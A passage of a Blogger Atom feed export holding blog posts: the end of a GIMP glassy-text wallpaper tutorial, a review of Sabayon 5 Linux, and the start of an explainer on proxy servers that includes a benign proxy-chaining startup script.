boxes}&lt;br /&gt;&lt;b&gt;Changes for Second Dot:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Spike Angle changed to: -1 (Random)&lt;/li&gt;&lt;li&gt;Spike Length changed to: 45&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Changes for Third Dot:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Spike Angle changed to: -1 (Random)&lt;/li&gt;&lt;li&gt;Spike Length changed to: 68&lt;/li&gt;&lt;li&gt;Spike Points changed to : 2 &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2524" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic18.png"&gt;&lt;img alt="After Sparkle (full)" class="size-large wp-image-2524" height="152" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic18-550x152.png" title="After Sparkle (full)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;After Sparkle (full)&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2525" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic19.png"&gt;&lt;img alt="The Effect" class="size-large wp-image-2525" height="149" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic19-550x149.png" title="The Effect" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;The Effect&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2526" style="width: 242px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic21.png"&gt;&lt;img alt="Layers" class="size-full wp-image-2526" height="177" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic21.png" title="Layers" width="232" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Layers&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;This is a matter of personal taste, so you should keep on researching  and make trial and error and see which parameters come with the best.  After this, select a rectangular portion of the “glass_sparkle” layer  include all the sparkles and crop the layer to the selection. this will  keep the sparkle layer compact by only keeping the needed area. Make the  “glass_test” layer visible from the Layer window. Put the  “glass_sparkle” Layer just below the “glass_text” layer.&lt;br /&gt;&lt;h4&gt;Sparkle Reflection&lt;/h4&gt;We could have applied the sparkle to the text and then created the  reflection of the text along with the sparkles but this reflection is  done separately so that it can be removed or modified at any time, and  manually adjusted. We will do this just like as the text reflection.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Select the “glass_sparkle” layer, and duplicate the layer from the  Layer Window, and name the duplicated layer “glass_sparkle_reflection”,  and make sure that it is below both the “glass_text” layers.&lt;/li&gt;&lt;li&gt;Select the Flip Tool select to flip vertically and then click on the  “glass_sparkle_reflection” layer.&lt;/li&gt;&lt;li&gt;Now move the flipped layer on the reflected text on the proper  positions where the sparkles would appear when reflected. This could be  easily done if you add guides to the bottom and left side of the  “glass_sparkle” layer and then use them for reference for the  “glass_sparkle_reflection” layer. At last remove the guides. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2527" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic23.png"&gt;&lt;img alt="Flipped Sparkle" class="size-large wp-image-2527" height="163" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic23-550x163.png" title="Flipped Sparkle" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Flipped Sparkle&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2528" style="width: 275px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic24.png"&gt;&lt;img alt="Layers" class="size-full wp-image-2528" height="188" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic24.png" title="Layers" width="265" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Layers&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h4&gt;Reflection Plane&lt;/h4&gt;There is no reference plane line on which the glass text stands on.  You only can imagine it, we will now create that plain which will make  this picture more complete. The reflection plane will be just between  the “glass_text” and “glass_text_reflection” layers. Now add a  horizontal guide just between these two layers and create the plain.  Create a new transparency layer from the layer window, and name it  “reflection_plain”. Place the layer above the “*_reflection” layers.  Select this layer and do the following -&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Select a large rectangle from just below LFY text in the  “glass_text” layer. This should be big enough so that it goes out of the  image borders. &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2529" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic26.png"&gt;&lt;img alt="Select Large Rectangle" class="size-large wp-image-2529" height="401" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic26-550x401.png" title="Select Large Rectangle" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Select Large Rectangle&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Now feather the selection by 20 pixels. Select -&amp;gt; Feather {  Feather=20px}&lt;/li&gt;&lt;li&gt;Select the foreground color as white {#ffffff}.&lt;/li&gt;&lt;li&gt;Select the Blend Tool , and set {Gradient=FG to Transparent,  Offset=0.0, Shape=Linear, Repeat=None} &lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2530" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic27.png"&gt;&lt;img alt="FG to Transparent Gradient Dragging" class="size-large wp-image-2530" height="401" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic27-550x401.png" title="FG to Transparent Gradient Dragging" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;FG to Transparent Gradient Dragging&lt;/div&gt;&lt;/div&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic28.png"&gt;&lt;img alt="After Applying Gradient" class="aligncenter size-large wp-image-2531" height="250" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic28-550x250.png" title="Gradient" width="550" /&gt;&lt;/a&gt;  &lt;/li&gt;&lt;li&gt;To make the blend the gradient click just a bit below the  top selection line (the top line of the rectangular selection) keep the  mouse button pressed, press Ctrl so that the dragging be straight and  then drag the mouse down to about half a way of the rectangular  selection and release the mouse and Ctrl buttons.&lt;/li&gt;&lt;li&gt;Now set the transparency of this layer so that it looks okay (check  “Setting Transparency”).&lt;/li&gt;&lt;/ol&gt;The length of the FG to transparent blend depends upon look and  choice. A very short length leaves the bottom half of the screen dark.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2533" style="width: 297px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic30.png"&gt;&lt;img alt="Layers" class="size-full wp-image-2533" height="221" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic30.png" title="Layers" width="287" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Layers&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Setting Transparency&lt;/h4&gt;Now for some transparency settings to be done to make the picture  better. Set the Opacity levels in the Layer window to each layer as  shown below.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;glass_text -&amp;gt; 90%&lt;/li&gt;&lt;li&gt;glass_text_reflection -&amp;gt; 70%&lt;/li&gt;&lt;li&gt;glass_text_sparkle -&amp;gt; 50%&lt;/li&gt;&lt;li&gt;glass_text_sparkle_reflection -&amp;gt; 15%&lt;/li&gt;&lt;li&gt;reflection_plain -&amp;gt; 45%&lt;/li&gt;&lt;/ul&gt;The sparkle and its reflection’s transparency needs to be adjusted  upon taste. Also looks different in different displays and same display  different settings. It’s good to keep it mild. Also the major layer is  the “reflection_plain” do not set it too bright or it would look bad,  its better to keep all light.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2534" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic25.png"&gt;&lt;img alt="After Opacity Adjustments (without “reflection_plain” layer)" class="size-large wp-image-2534" height="154" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic25-550x154.png" title="After Opacity Adjustments (without “reflection_plain” layer)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;After Opacity  Adjustments (without “reflection_plain” layer)&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2532" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/pic29.png"&gt;&lt;img alt="After Applying Gradient" class="size-large wp-image-2532" height="219" src="http://www.linuxforu.com/wp-content/uploads/2009/10/pic29-550x219.png" title="After Opacity Adjustments (with “reflection_plain” layer)" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;After Opacity Adjustments (with  “reflection_plain” layer)&lt;/div&gt;&lt;br /&gt;&lt;h4&gt;Some Effects&lt;/h4&gt;Now when the text logo is complete we can add some other effects. I  have some ideas about these.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Use the “Tube Red” Gradient make the blend mode to radial and blend  in a separate layer. and then feather delete needed partition to only  keep a halo. Then you can use Color -&amp;gt; Colorify to color it. (I used  #006cff for halo).&lt;/li&gt;&lt;li&gt;For the green halo of the “i”, select the “Flare Radial 102”  Gradient , make a new transparent layer and then make a glow spot on the  i. Then colorify it to any color (i used #33ff33).&lt;/li&gt;&lt;li&gt;And make reflections of both of them, as done with the “glass_text”  and “glass_text_sparkle” layers. There is another good idea to color  only one letter to stick it out of the others etc.&lt;/li&gt;&lt;/ol&gt;Finally, we have finished the picture. My friends complain that this  is black and white and they want more colors, but this is the way I like  these types of logos with all black and white with a touch of color.  There are a lot more to add in this logo like a spot light and shadows,  which can be easily done by selecting feathered ellipses and flood  filling with white or black. The thing to be noted is that the font  selection is very important not all fonts make the same smooth edges. I  have used Bitwise font for the text.&lt;br /&gt;Here are a few wallpapers that I have created, using similar styles.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2535" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/lfy_final_1.png"&gt;&lt;img alt="Basic Picture" class="size-large wp-image-2535" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/lfy_final_1-550x440.png" title="Basic Picture" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Basic Picture&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2536" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/teach-me/learn-image-manipulation-and-create-a-glassy-wallpaper-on-gimp/attachment/lfy_final_2/" rel="attachment wp-att-2536"&gt;&lt;img alt="Effect One" class="size-large wp-image-2536" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/lfy_final_2-550x440.png" title="Effect One" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Effect One&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2537" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/teach-me/learn-image-manipulation-and-create-a-glassy-wallpaper-on-gimp/attachment/lfy_final_3/" rel="attachment wp-att-2537"&gt;&lt;img alt="Effect Two" class="size-large wp-image-2537" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/lfy_final_3-550x440.png" title="Effect Two" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Effect Two&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2538" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/teach-me/learn-image-manipulation-and-create-a-glassy-wallpaper-on-gimp/attachment/nxt/" rel="attachment wp-att-2538"&gt;&lt;img alt="Wallpaper created for my friend's CounterStrike Clan" class="size-large wp-image-2538" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/nxt-550x440.jpg" title="Wallpaper created for my friend's CounterStrike Clan" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;Wallpaper created for my  friend's CounterStrike Clan&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2539" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/teach-me/learn-image-manipulation-and-create-a-glassy-wallpaper-on-gimp/attachment/enigma_logo/" rel="attachment wp-att-2539"&gt;&lt;img alt="A Wallpaper for my desktop" class="size-large wp-image-2539" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/enigma_logo-550x440.jpg" title="A Wallpaper for my desktop" width="550" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wp-caption-text"&gt;A Wallpaper for my desktop&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption-text"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-7371046056738736965?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/7371046056738736965/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/05/learn-image-manipulation-create-glassy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7371046056738736965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7371046056738736965'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/05/learn-image-manipulation-create-glassy.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-3677798304540718482</id><published>2010-05-22T03:05:00.000-07:00</published><updated>2010-05-22T03:05:24.108-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top" style="color: red;"&gt;       &lt;h2 class="entry-title"&gt;&lt;span style="font-size: x-large;"&gt;Experiencing Sabayon 5 &lt;/span&gt;&lt;/h2&gt;&lt;/div&gt;&lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;lt;div class="greet_block"&amp;gt;&amp;lt;div class="greet_text"&amp;gt;&amp;lt;div class="greet_image"&amp;gt;&amp;lt;a href="http://www.linuxforu.com/feed/rss/"  rel="nofollow"&amp;gt;&amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;Hello there! If you are new here, you might want to &amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;strong&amp;gt;subscribe to the RSS feed&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt; for updates on this topic.&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class="greet_block_powered_by"&amp;gt;&amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;gt;Powered by WP Greet Box&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/noscript&gt;&lt;/div&gt;&lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;Sabayon’s  strength has always been to showcase the power of FOSS on the desktop.  Once upon a time, it used to come preinstalled with Linux-compatible  games. But the current releases have done away with the idea of  showcasing the games factor and concentrate on giving an out-of-the box  desktop experience.&lt;/div&gt;Sabayon 5 (or Five oh!, as the project team likes to call it) came  out on October 2, 2009. As has been the norm since the last couple of  releases, it’s been divided into a KDE and GNOME live DVD. The last  version LFY had bundled was version Four oh! (we skipped 4.1 and 4.2).  It was a single Live DVD that contained both GNOME and KDE. So what our  CD team has done this time is combine the two separate ISOs into a  single live multi-boot DVD. The downside is, you’ll only get either of  the two desktops, at a time.&lt;br /&gt;The boot screen of the DVD gives you several options to boot the  following: GNOME, KDE, a media centre desktop, UMPC, etc. I’ve only  tried the first two.&lt;br /&gt;Depending on your desktop of choice, you’ll need to select one and  proceed. The boot splash theme is, as always, black with a few coloured  stripes with the Sabayon branding in the centre—not &lt;em&gt;that&lt;/em&gt; great,  but pretty smart and professional-looking, nonetheless. Well, the same  image is also the default wallpaper in both GNOME and KDE. Coming back  to the boot process, the live distro boot speed is comparable to other  popular distros, and midway through the boot process, Sabayon starts  playing a song that has something to do with “the rock and roll hall of  fame.”&lt;br /&gt;&lt;strong&gt;Note: &lt;/strong&gt;On my assembled AMD/NVIDIA system, without  manual intervention, Sabayon booted to a 1024×768 px display—although it  had detected and loaded the correct NVIDIA drivers. The easiest way to  fix this is while you’re on the boot screen – at the point when you  select between the different boot options, hit F4 and select the display  resolution, there and then. On my Intel-based wide-screen laptop (which  uses a resolution of 1200×800 pixels), things worked all right without  any manual intervention.&lt;br /&gt;&lt;h2&gt;KDExperience&lt;/h2&gt;Sabayon comes with a custom themed version of KDE 4.3.1 (v4.3.2 is  not available in the software repository yet). Instead of the stock Air  theme introduced in KDE 4.3, Sabayon uses Elegance—a dark theme that  gels well with the overall Sabayon 5 look and feel. And unlike other  distros, a number of other desktop themes are preinstalled to let you  customise the desktop the way you want without requiring to download  additional themes. Additionally, it comes with a decent collection of  wallpapers too, and Kwin effects work out-of-the-box if you have a  capable graphics card.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2614" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/KDE_Live_desktop.png"&gt;&lt;img alt="Figure 1: KDE Live desktop" class="size-large wp-image-2614" height="440" src="http://www.linuxforu.com/wp-content/uploads/2009/10/KDE_Live_desktop-550x440.png" title="KDE_Live_desktop" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 1: KDE Live desktop&lt;/div&gt;&lt;/div&gt;As you can see in Figure 1, the resolution of panel is awkwardly set  at a width of 1024px, leaving some blank space on both sides of a screen  with a resolution of 1280×1024px (or, any resolution where the screen  width is more than 1024px). &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Well, many not-so-mainstream distros have a  fetish for this sort of a Mac OS X-ish panel setting, which sort of  seems odd considering the fact that the rest of the screen on the left  and right side of panel goes waste. Anyway, we all know how to set this  straight, don’t we? Strangely, essential shortcuts like ‘Show Desktop’  and ‘Battery Indicator’ (for laptop users) are missing from the panel.  Again, we know how to take care of this.&lt;br /&gt;While the stock KDE only has ‘System Settings’, a home directory  shortcut for Dolphin and the Konqueror Web browser as our default  ‘favourites’ in the Kickoff application launcher, Sabayon has added more  natural fits for our favourites here (Firefox, Kopete, KTorrent,  Konversation IRC client, Amarok, VLC Player, OOo Writer and Calc).  However, I believe a home directory shortcut would have been a better  selection instead of an IRC client; besides, ‘System Settings’ is also  an essential app for those who like to tinker with their system  frequently.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2615" style="width: 493px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/KDE_Live_desktop_w_menu.png"&gt;&lt;img alt="Figure 2: Default Kickoff favourites" class="size-large wp-image-2615" height="550" src="http://www.linuxforu.com/wp-content/uploads/2009/10/KDE_Live_desktop_w_menu-483x550.png" title="Default Kickoff favourites" width="483" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 2: Default Kickoff favourites&lt;/div&gt;&lt;/div&gt;The default installation comes with lots of handy applications for  most desktop requirements, but some of the essential apps like Digikam  (digital camera tool) and the GIMP are missing. As for an image  viewer/manager, Gwenview is also missing. So accessing images means  opening them in the Okular document viewer. Of course, these can be had  from the official software repository. In fact, although it comes with  the Firefox 3.5 as the default browser, the repo also offers Chromium  (open source Google Chrome) as an alternative.&lt;br /&gt;After using Chromium for a week, I found it to be pretty stable. I’ll  definitely recommend it over FF simply because of the well-thought-out  UI which gives you much more screen space to view Web pages, compared to  any other browser, besides the ability to run multiple incognito  windows (private browsing sessions). Coming back to FF (and even in  Chromium), one good thing is that mime types are properly set. So you’ll  have no problem in directly opening e-mail attachments, or for that  matter, when you download anything from the Web, straight inside the  required application.&lt;br /&gt;By the way, wireless connection on my Intel Wi-Fi based laptop worked  out-of-the-box. What I also noticed is the NetworkManager system tray  widget has been cleaned up a lot. I don’t remember seeing this polish  when KDE 4.3 first came out. What struck me as surprising&amp;nbsp; was the  inclusion of the Wicd network manager—which is basically redundant!&lt;br /&gt;Sabayon comes with most of the multimedia codes preinstalled. So  whether you throw DVD videos at it or DivX files, VLC should be able to  take care of it all. Amarok, on the other hand, takes care of your MP3  music collection. The version is 1.1.80 (2.2 beta)—the final 2.2 version  is yet to be made available in the repo. Note that although this  version reintroduces an equaliser, yet it’s greyed out in Sabayon.  Besides these two power apps, you also have the minimalist Dragon Player  and the XBMC media centre application.&lt;br /&gt;The version of OpenOffice.org is 3.1. It comes with an integrated  Oxygen icon theme by default, which means better KDE integration because  the icons don’t look out of place in KDE4 any more. However, the KDE4  integration is nowhere near complete—the Save as/Open file dialogue  boxes are still that of the stock OOo, instead of being KDE4 based.  Apart from this, English spelling packs are missing. Another thing to  note here is that font rendering inside OOo and Firefox are not  anti-aliased out-of-the-box—which makes them look a bit crooked.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-3677798304540718482?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/3677798304540718482/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/05/experiencing-sabayon-5-classgreetblock.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3677798304540718482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3677798304540718482'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/05/experiencing-sabayon-5-classgreetblock.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-6096670021227888687</id><published>2010-04-03T04:24:00.001-07:00</published><updated>2010-04-04T09:32:42.203-07:00</updated><title type='text'></title><content type='html'>&lt;div align="center" class="MsoNormal" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; margin: 5pt 0in; text-align: center;"&gt;&lt;meta content="text/html; charset=utf-8" http-equiv="Content-Type"&gt;&lt;/meta&gt;&lt;meta content="Word.Document" name="ProgId"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Generator"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Originator"&gt;&lt;/meta&gt;&lt;style&gt;&lt;!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal	{mso-style-parent:"";	margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:"Times New Roman";	mso-fareast-font-family:"Times New Roman";}@page Section1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;	mso-header-margin:.5in;	mso-footer-margin:.5in;	mso-paper-source:0;}div.Section1	{page:Section1;}--&gt;&lt;/style&gt;&lt;span style="color: black;"&gt;&lt;span style="color: red; font-size: x-large;"&gt;&lt;b&gt;Proxies&lt;/b&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; margin: 5pt 0in;"&gt;&lt;span style="color: black; font-size: 10pt;"&gt;&lt;b&gt;What is a Proxy Server?&lt;/b&gt;&lt;br /&gt;&lt;span style="color: #cfe2f3;"&gt;A proxy server is a kind of buffer between your computer and the Internet resources you are accessing. The data you request come to the proxy first, and only then it transmits the data to you. I know many are looking for IP Maskers or Scramblers, but honestly, it aint real easy for the simple fact that any website that you visit needs your IP to send the info packets too. If its scrambled, you will get alot of errors and crazy redirects :P My solution? Read on........... for a good list of Proxy servers try here&amp;gt;&amp;gt; http://www.multiproxy.org/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Why do I need to use proxy servers?&lt;/b&gt;&lt;br /&gt;&lt;span style="color: #cfe2f3;"&gt;Transfer speed improvement. Proxy servers accumulate and save files that are most often requested by thousands of Internet users in a special database, called “cache”. Therefore, proxy servers are able to increase the speed of your connection to the Internet. The cache of a proxy server may already contain information you need by the time of your request, making it possible for the proxy to deliver it immediately.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="color: black; font-size: 10pt;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; margin: 5pt 0in;"&gt;&lt;span style="color: black; font-size: 10pt;"&gt;&lt;br /&gt;&lt;span style="color: #cfe2f3;"&gt;Security and privacy. Anonymous proxy servers that hide your IP address thereby saving you from vulnerabilities concerned with it. &lt;/span&gt;&lt;br style="color: #cfe2f3;" /&gt;&lt;span style="color: #cfe2f3;"&gt; Sometimes you may encounter problems while accessing to web server when server administrator restricted access from your IP or even from wide IP range (for example restricting access from certain countries or geographical regions). So you try to access those pages using an anonymous proxy server. &lt;/span&gt;&lt;br style="color: #cfe2f3;" /&gt; &lt;br /&gt;&lt;b&gt;What is a public proxy server?&lt;/b&gt;&lt;br /&gt;&lt;span style="color: #d0e0e3;"&gt;It is a proxy server which is free and open for everybody on the Internet. Unfortunately most of them are not anonymous.&lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; Free service trying to provide list of public HTTP proxy servers. Usually provide small list of proxies with low percent of functioning servers due to hosting restrictions on CPU time (they simply can't allow themselves to check many proxies every second especially in parallel). &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt; &lt;br /&gt;&lt;b&gt;The Solution?&lt;/b&gt;&lt;br /&gt;&lt;span style="color: #d0e0e3;"&gt;When using an anonymous proxy server you don’t give a anybody chance to find out your IP address to use it in their own interests. ;) If there is a need to make an (inner) proxy connect to the outside world via another (outer) proxy server, you can use the same environment variables as are used to redirect clients to the proxy to make inner proxy use the outer one: &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; http_proxy &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; ftp_proxy &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; gopher_proxy &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; wais_proxy &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; E.g. your (inner) proxy server's startup script could look like this: &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; #!/bin/sh&lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; http_proxy=http://outer.proxy.server:8082/&lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; export http_proxy&lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; /usr/etc/httpd -r /etc/inner-proxy.conf -p 8081&lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt; &lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; This is a little ugly, so there are also the following directives in the configuration file: &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; http_proxy http://outer.proxy.server/ &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; ftp_proxy http://outer.proxy.server/ &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; gopher_proxy http://outer.proxy.server/ &lt;/span&gt;&lt;br style="color: #d0e0e3;" /&gt;&lt;span style="color: #d0e0e3;"&gt; wais_proxy http://outer.proxy.server/ &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div 